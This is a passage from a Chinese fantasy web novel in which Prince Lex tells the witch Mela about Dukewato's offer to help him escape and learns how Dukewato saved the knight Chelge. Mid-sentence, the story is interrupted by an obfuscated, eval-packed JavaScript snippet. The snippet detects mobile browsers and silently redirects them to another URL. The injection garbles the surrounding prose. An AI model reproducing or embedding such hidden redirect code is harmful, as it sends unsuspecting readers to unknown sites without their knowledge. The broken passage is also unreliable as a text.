“不。”莱克斯的嘴唇微张,吐出了坚定的拒绝。 “我不需要知道这些,既然命运是可以更改的,那我势必要让它按照我的想法改变前行的轨迹。” 如果不是他莱克斯想要的命运,那干脆就不要了!他只会走向他期望的那个未来。 思及此,从下午拒绝杜克瓦托之后一直困扰莱克斯的那个问题仿佛忽然就解开了,他看向梅拉,与那双幽绿的深潭似的眼眸对视,“下午的时候,杜克瓦托曾告诉我,如果我想的话,他可以帮我从黑暗森林逃走。” “是吗?”虽然莱克斯的坦白来得猝不及防,可梅拉看上去好像一点也不惊讶。 是一贯的不好奇,还是她早就洞察到了端倪?莱克斯暂时推敲不出结论。 “杜克瓦托他为什么要帮你呢?”梅拉其实还是好奇的,只不过她好奇的方面与莱克斯想象的不太一样。 “他说他和切尔各是朋友。”莱克斯答道。 乍一听到这件事,莱克斯难免心中掀起一阵波澜,怎么会这么巧?杜克瓦托竟然是切尔各深交多年的友人。 不仅如此,切尔各替莱克斯引开追兵,以至于身受数箭,失血过多,体力不支地昏倒在某处被人特意挖来捕猎的陷阱里时,也是杜克瓦托及时救了他。 “那个陷阱,该不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645688|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是杜克瓦托挖的吧?”梅拉托着下巴,从中嗅到了一丝命定的气息,说不定就有这么巧呢? 尽管在莱克斯看来有些难以置信,但梅拉可是成功掌握了占星术的女巫,在她眼中,命运是最擅长织造巧合的能手。 梅拉猜得没错,还真是杜克瓦托挖的陷阱。 据杜克瓦托所说,他本来只是按照惯例,每隔两三日就要前去查看陷阱里有没有逮到什么动物,没想到动物没有,倒是躺了个血流不止的人。 捞上来一看,嚯,还是老熟人。 尽管切尔各前往王城成为骑士之后,就再也没回来过生养他的小村子,也没和杜克瓦托有过任何联系。 但看在两人从穿开裆裤起就诞生的交情,杜克瓦托还是把切尔各带回了家里,还从梅拉那火急火燎地买了十瓶治愈药剂,总算把这人的命给吊住了。 接下里就是切尔各靠着顽强的意志力撑了过来,恢复了清醒。 好不容易终于能下地了,切尔各立刻打算去寻找莱克斯的下落。 不过莱克斯在梅拉这,切尔各当然找不到他了。 无奈之下,再加上伤势已经痊愈,切尔各便同杜克瓦托道别,决定先回王城一趟。 既然要找人,他一个人的力量不足,那就找更多的人来帮忙。 再后来的发展就连杜克瓦托都心下一惊,他压根没想到切尔各找了半天的小王子猝不及防地出现在了自己的面前。 好在杜克瓦托见惯了风浪,及时稳住了表情,还靠一招故意挑衅把莱克斯从梅拉手里要了过来。 最后的最后,就是杜克瓦托提出可以帮忙逃跑,而莱克斯拒绝了他。 说一点也不心动那是假的,可做人要言而有信,哪怕莱克斯和梅拉的主仆约定只是单纯口头上的约定,没有签下任何契约,但莱克斯也不想就这样违背自己的诺言。 听到莱克斯拒绝了自己,杜克瓦托看起来一点也不生气,反而点了点头,露出一个不怀好意的笑容,“看在你还算聪明的份上,告诉你一个秘密。如果你刚才真的答应了我,那你才要完蛋了。切尔各要成为骑士,要守护谁是他的事,与我无关,我怎么可能傻乎乎地帮你逃跑。” 相反,若是莱克斯决心要逃跑,杜克瓦托一定会反手把这事捅给梅拉知道,换取自己想要的利益。 比如两瓶免费的治愈药剂。 ……尽管知道自己做出了正确的选择,可人就是这样,总会设想未曾发生的可能,揣测它或许将比现实更称心如意。 莱克斯也不曾幸免。 不过现在,莱克斯再也懒得纠结这些莫须有的事情,他很清楚,想要的未来一定会握在他自己的手里。别的,以后再看。 至于梅拉。 梅拉懒洋洋地打了个哈欠,“我困了,你还要继续看星星吗?” 不等莱克斯回答,梅拉先一步跳下石头,径自往小木屋内走去,“不管你看不看,反正我要去睡觉了。” 莱克斯默默地跟在她的身后,同她一道回去。 临关上门前,他最后望了一眼遍布繁星的夜空。 先前被他指出来的那颗星星,依然闪烁着附近最亮的光芒。